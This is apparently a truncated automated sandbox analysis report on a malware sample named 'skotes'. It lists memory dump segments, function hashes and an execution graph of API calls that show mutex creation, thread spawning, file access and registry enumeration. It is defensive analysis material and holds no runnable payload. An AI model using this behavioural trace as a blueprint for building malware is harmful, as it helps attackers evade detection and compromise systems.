                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _strrchr
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3213747228-0
                                                                                                                                                                                                                                                                                    • Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
                                                                                                                                                                                                                                                                                    • Instruction ID: 2eb083a6371ac2f8f0dca9398f96fb3caf03f1623d118ed8fb15b3f4ed5241ea
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: ECB112329006469FDB15EF68C881BAEBFA5EF55340F15816AE855EB242D7349E01CFF0
                                                                                                                                                                                                                                                                                    Function 0016BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Xtime_diff_to_millis2_xtime_get
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 531285432-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 189346c1b953c903d35876e4b11a9071b2736cbd7851be717f9ffb9908225435
                                                                                                                                                                                                                                                                                    • Instruction ID: bca72773deb613a0bda3442de76e56fc4bc73d8bfcaa82e98f20e1a4fcb1965a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 189346c1b953c903d35876e4b11a9071b2736cbd7851be717f9ffb9908225435
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 83213071A00219AFDF00EFA4DC959BEB7B9EF18710F504465F905B7261DB309D519BE0

                                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                                    Execution Coverage:6.4%
                                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                                    Signature Coverage:0%
                                                                                                                                                                                                                                                                                    Total number of Nodes:525
                                                                                                                                                                                                                                                                                    Total number of Limit Nodes:51
                                                                                                                                                                                                                                                                                    execution_graph 36819 15a7b7 GetFileAttributesA 36822 15a7c7 Concurrency::details::_TaskCollection::~_TaskCollection 36819->36822 36820 15a892 Concurrency::details::_TaskCollection::~_TaskCollection 36830 1680c0 36820->36830 36821 15a94e Concurrency::details::_CancellationTokenState::_RegisterCallback 36823 15a960 Sleep CreateMutexA 36821->36823 36822->36820 36822->36821 36827 15a98e 36823->36827 36825 15a903 36826 15a9a7 36827->36826 36843 186629 GetPEB GetPEB IsInExceptionSpec 36827->36843 36829 15a9b0 36833 1680de __InternalCxxFrameHandler 36830->36833 36835 168104 36830->36835 36831 168169 Concurrency::details::_CancellationTokenState::_RegisterCallback std::_Rethrow_future_exception 36842 1681d0 Concurrency::details::_TaskCollection::~_TaskCollection 36831->36842 36852 169270 RtlAllocateHeap Concurrency::details::_CancellationTokenState::_RegisterCallback 36831->36852 36833->36825 36834 1681f3 36853 152480 RtlAllocateHeap ___std_exception_copy Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 36834->36853 36835->36831 36836 16817d 36835->36836 36837 168158 36835->36837 36836->36831 36841 16d3e2 Mailbox RtlAllocateHeap 36836->36841 36837->36834 36844 16d3e2 36837->36844 36839 1681f8 36841->36831 36842->36825 36843->36829 36846 16d3e7 Mailbox 36844->36846 36847 16d401 36846->36847 36848 152480 Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 36846->36848 36854 188be1 36846->36854 36847->36831 36849 16d40d Concurrency::details::_TaskCollection::~_TaskCollection Concurrency::details::ResourceManager::ResourceManager 36848->36849 36858 1838af RtlAllocateHeap ___std_exception_copy 36848->36858 36851 1524c3 36851->36831 36853->36839 36857 18b04b Mailbox _unexpected 36854->36857 36855 18b074 RtlAllocateHeap 36856 18b087 __dosmaperr 36855->36856 36855->36857 36856->36846 36857->36855 36857->36856 36858->36851 36859 186dda 36860 186de8 36859->36860 36861 186df6 36859->36861 36862 186e4c 8 API calls 36860->36862 36870 18698d 36861->36870 36864 186df2 36862->36864 36865 186e10 36873 1868ed 36865->36873 36869 186e24 __freea 36887 18690a 36870->36887 36872 18699f __wsopen_s 36872->36865 36898 18683b 36873->36898 36875 186905 36875->36869 36876 186e4c 36875->36876 36877 186e77 Concurrency::details::VirtualProcessor::ThrowVirtualProcessorEvent 36876->36877 36885 186e5a __cftof __dosmaperr 36876->36885 36878 186eb9 CreateFileW 36877->36878 36883 186e9d __cftof __dosmaperr 36877->36883 36879 186eeb 36878->36879 36880 186edd 36878->36880 36919 186f2a GetPEB RtlAllocateHeap GetPEB __dosmaperr 36879->36919 36907 186fb4 GetFileType 36880->36907 36883->36869 36884 186ee6 Concurrency::details::VirtualProcessor::ThrowVirtualProcessorEvent 36884->36883 36886 186f1c CloseHandle 36884->36886 36885->36869 36886->36883 36888 18692a 36887->36888 36889 186921 36887->36889 36888->36889 36895 18a671 GetPEB GetPEB _unexpected __freea IsInExceptionSpec 36888->36895 36889->36872 36891 18694a 36896 18b5fb GetPEB GetPEB __cftof 36891->36896 36893 186960 36897 18b628 GetPEB GetPEB __cftof 36893->36897 36895->36891 36896->36893 36897->36889 36899 186863 36898->36899 36904 186849 __dosmaperr __fassign __wsopen_s 36898->36904 36900 18686a 36899->36900 36902 186889 __fassign 36899->36902 36900->36904 36905 1869e6 RtlAllocateHeap __wsopen_s 36900->36905 36902->36904 36906 1869e6 RtlAllocateHeap __wsopen_s 36902->36906 36904->36875 36905->36904 36906->36904 36908 186fef Concurrency::details::VirtualProcessor::ThrowVirtualProcessorEvent 36907->36908 36918 187085 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z __dosmaperr 36907->36918 36909 187028 GetFileInformationByHandle 36908->36909 36908->36918 36910 18703e 36909->36910 36909->36918 36920 18727c 36910->36920 36914 18705b 36915 187124 SystemTimeToTzSpecificLocalTime 36914->36915 36916 18706e 36915->36916 36917 187124 SystemTimeToTzSpecificLocalTime 36916->36917 36917->36918 36918->36884 36919->36884 36921 187292 _wcsrchr 36920->36921 36922 18704a 36921->36922 36934 18bc13 GetPEB GetPEB __cftof __dosmaperr 36921->36934 36930 187124 36922->36930 36924 1872d6 36924->36922 36935 18bc13 GetPEB GetPEB __cftof __dosmaperr 36924->36935 36926 1872e7 36926->36922 36936 18bc13 GetPEB GetPEB __cftof __dosmaperr 36926->36936 36928 1872f8 36928->36922 36937 18bc13 GetPEB GetPEB __cftof __dosmaperr 36928->36937 36931 18713c 36930->36931 36932 18715c SystemTimeToTzSpecificLocalTime 36931->36932 36933 187142 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 36931->36933 36932->36933 36933->36914 36934->36924 36935->36926 36936->36928 36937->36922 36938 157590 Sleep 36939 15765e 36938->36939 36940 1575e3 36938->36940 36942 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36939->36942 36953 16d111 SleepConditionVariableCS 36940->36953 36943 15767a 36942->36943 36945 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36943->36945 36944 1575ed 36944->36939 36954 16d64e RtlAllocateHeap 36944->36954 36946 157693 36945->36946 36948 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36946->36948 36950 1576ac CreateThread Sleep 36948->36950 36949 157654 36955 16d0c7 RtlWakeAllConditionVariable 36949->36955 36952 1576d9 Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 36950->36952 36956 157430 36950->36956 36953->36944 36954->36949 36955->36939 36969 167a00 36956->36969 36958 157465 36959 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36958->36959 36960 157478 36959->36960 36961 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36960->36961 36962 157488 36961->36962 36963 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36962->36963 36964 15749d 36963->36964 36965 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36964->36965 36966 1574b2 36965->36966 36967 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 36966->36967 36968 1574c4 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_TaskCollection::~_TaskCollection 36967->36968 36970 167a26 36969->36970 36971 167a2d 36970->36971 36972 167a62 36970->36972 36973 167a81 36970->36973 36971->36958 36974 167ab9 36972->36974 36975 167a69 36972->36975 36977 16d3e2 Mailbox RtlAllocateHeap 36973->36977 36979 167a6f __Cnd_destroy_in_situ __Mtx_destroy_in_situ Concurrency::details::_CancellationTokenState::_RegisterCallback std::_Rethrow_future_exception Concurrency::details::_TaskCollection::~_TaskCollection 36973->36979 36980 152480 RtlAllocateHeap ___std_exception_copy Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 36974->36980 36976 16d3e2 Mailbox RtlAllocateHeap 36975->36976 36976->36979 36977->36979 36979->36958 36980->36979 36981 18ac53 36986 18aa29 36981->36986 36983 18ac69 36984 18ac92 36983->36984 36994 191a9c 36983->36994 36987 18aa48 36986->36987 36992 18aa5b __cftof __dosmaperr 36987->36992 36997 19132b GetPEB GetPEB __cftof __dosmaperr 36987->36997 36989 18abe0 36989->36992 36998 19132b GetPEB GetPEB __cftof __dosmaperr 36989->36998 36991 18abfe 36991->36992 36999 19132b GetPEB GetPEB __cftof __dosmaperr 36991->36999 36992->36983 37000 191461 36994->37000 36996 191ab7 36996->36984 36997->36989 36998->36991 36999->36992 37001 19146d CallCatchBlock 37000->37001 37003 191474 __cftof __dosmaperr __wsopen_s 37001->37003 37004 191a2e 37001->37004 37003->36996 37005 18698d __wsopen_s 2 API calls 37004->37005 37006 191a50 37005->37006 37007 1868ed __wsopen_s RtlAllocateHeap 37006->37007 37008 191a5d 37007->37008 37010 191a64 __freea 37008->37010 37011 191abc 37008->37011 37010->37003 37012 191ad9 __wsopen_s 37011->37012 37024 191aee __dosmaperr __wsopen_s 37012->37024 37025 191775 CreateFileW 37012->37025 37014 191be2 GetFileType 37017 191c34 __wsopen_s 37014->37017 37014->37024 37015 191b65 37015->37014 37015->37024 37026 191775 CreateFileW 37015->37026 37019 191ca1 37017->37019 37027 191984 GetPEB GetPEB RtlAllocateHeap __dosmaperr __wsopen_s 37017->37027 37018 191baa 37018->37014 37018->37024 37019->37024 37028 191522 3 API calls 3 library calls 37019->37028 37022 191cd6 37022->37024 37029 191775 CreateFileW 37022->37029 37024->37010 37025->37015 37026->37018 37027->37019 37028->37022 37029->37024 37066 159ba5 GetFileAttributesA 37068 159bb5 Concurrency::details::_TaskCollection::~_TaskCollection 37066->37068 37067 15a91c Concurrency::details::_CancellationTokenState::_RegisterCallback 37070 15a960 Sleep CreateMutexA 37067->37070 37068->37067 37069 159c80 Concurrency::details::_TaskCollection::~_TaskCollection 37068->37069 37071 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37069->37071 37074 15a98e 37070->37074 37072 15a903 37071->37072 37073 15a9a7 37074->37073 37077 186629 GetPEB GetPEB IsInExceptionSpec 37074->37077 37076 15a9b0 37077->37076 37090 16d762 37099 16d76e ___scrt_is_nonwritable_in_current_image IsInExceptionSpec ___scrt_release_startup_lock CallCatchBlock 37090->37099 37091 16d8ce ___scrt_fastfail 37126 186629 GetPEB GetPEB IsInExceptionSpec 37091->37126 37093 16d8db 37127 1865ed GetPEB GetPEB IsInExceptionSpec 37093->37127 37095 16d8e3 ___security_init_cookie 37097 16d8e9 __scrt_common_main_seh 37095->37097 37096 16d7be 37098 16d83f 37109 1895bc 37098->37109 37099->37091 37099->37096 37099->37098 37125 186603 GetPEB GetPEB _unexpected IsInExceptionSpec CallCatchBlock 37099->37125 37102 16d845 37113 166d30 37102->37113 37110 1895c5 37109->37110 37112 1895ca 37109->37112 37128 189320 37110->37128 37112->37102 37152 15a960 Sleep CreateMutexA 37113->37152 37117 166d45 37118 15d6d0 GetPEB RtlAllocateHeap GetPEB RtlAllocateHeap 37117->37118 37119 166d4a 37118->37119 37120 164fc0 7 API calls 37119->37120 37121 166d4f 37120->37121 37122 156020 RegOpenKeyExA RegEnumValueA RtlAllocateHeap 37121->37122 37123 166d54 37122->37123 37124 156020 RegOpenKeyExA RegEnumValueA RtlAllocateHeap 37123->37124 37124->37123 37125->37098 37126->37093 37127->37095 37129 189329 37128->37129 37131 189336 37128->37131 37129->37131 37132 18934c 37129->37132 37131->37112 37133 189358 37132->37133 37134 189355 37132->37134 37139 18e669 37133->37139 37134->37131 37138 189364 __freea 37138->37131 37140 18935f 37139->37140 37141 18e672 37139->37141 37145 18ea0a 37140->37145 37149 18a72e GetPEB GetPEB _unexpected __freea IsInExceptionSpec 37141->37149 37143 18e695 37150 18e4b0 3 API calls 4 library calls 37143->37150 37146 18ea18 __cftof 37145->37146 37147 18ea4a __cftof __freea 37146->37147 37151 18b04b RtlAllocateHeap __dosmaperr Mailbox _unexpected 37146->37151 37147->37138 37149->37143 37150->37140 37151->37147 37154 15a98e 37152->37154 37153 15a9a7 37157 15ce40 37153->37157 37154->37153 37162 186629 GetPEB GetPEB IsInExceptionSpec 37154->37162 37156 15a9b0 37158 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37157->37158 37159 15ce92 37158->37159 37163 155c10 37159->37163 37161 15ce9d 37162->37156 37170 155940 37163->37170 37167 155c6a 37189 154b30 37167->37189 37169 155c7b __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37169->37161 37196 167f80 RtlAllocateHeap Mailbox Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection Concurrency::details::VirtualProcessor::ThrowVirtualProcessorEvent 37170->37196 37172 15596b 37173 1559e0 37172->37173 37197 167f80 RtlAllocateHeap Mailbox Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection Concurrency::details::VirtualProcessor::ThrowVirtualProcessorEvent 37173->37197 37175 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37187 155a45 37175->37187 37176 155bdd __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 37176->37167 37177 155c09 37199 168200 RtlAllocateHeap 37177->37199 37179 1680c0 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37179->37187 37187->37175 37187->37176 37187->37177 37187->37179 37198 155730 RtlAllocateHeap __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37187->37198 37190 154dc2 37189->37190 37194 154b92 37189->37194 37190->37169 37192 154ce5 37192->37190 37202 168ca0 RtlAllocateHeap Mailbox Concurrency::details::_CancellationTokenState::_RegisterCallback std::_Rethrow_future_exception Concurrency::details::_TaskCollection::~_TaskCollection 37192->37202 37194->37192 37200 186da6 GetPEB GetPEB RtlAllocateHeap __fassign 37194->37200 37201 168ca0 RtlAllocateHeap Mailbox Concurrency::details::_CancellationTokenState::_RegisterCallback std::_Rethrow_future_exception Concurrency::details::_TaskCollection::~_TaskCollection 37194->37201 37196->37172 37197->37187 37198->37187 37200->37194 37201->37194 37202->37192 37203 166d00 CreateThread 37204 166d20 Sleep 37203->37204 37205 166c70 37203->37205 37204->37204 37208 166ca0 37205->37208 37206 167a00 RtlAllocateHeap Concurrency::details::_CancellationTokenState::_RegisterCallback 37206->37208 37207 155c10 GetPEB RtlAllocateHeap GetPEB RtlAllocateHeap 37207->37208 37208->37206 37208->37207 37210 1647b0 37208->37210 37211 1647eb 37210->37211 37260 164e70 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z Concurrency::details::_CancellationTokenState::_RegisterCallback Concurrency::details::_TaskCollection::~_TaskCollection 37210->37260 37212 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37211->37212 37211->37260 37213 16480c 37212->37213 37214 155c10 4 API calls 37213->37214 37215 164813 37214->37215 37216 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37215->37216 37217 164825 37216->37217 37218 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37217->37218 37219 164837 37218->37219 37307 15be30 37219->37307 37221 164843 37222 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37221->37222 37223 164858 37222->37223 37224 167a00 Concurrency::details::_CancellationTokenState::_RegisterCallback RtlAllocateHeap 37223->37224 37225 164870 37224->37225 37226 155c10 4 API calls 37225->37226 37227 164877 37226->37227 37332 158580 37227->37332 37229 164883 37230 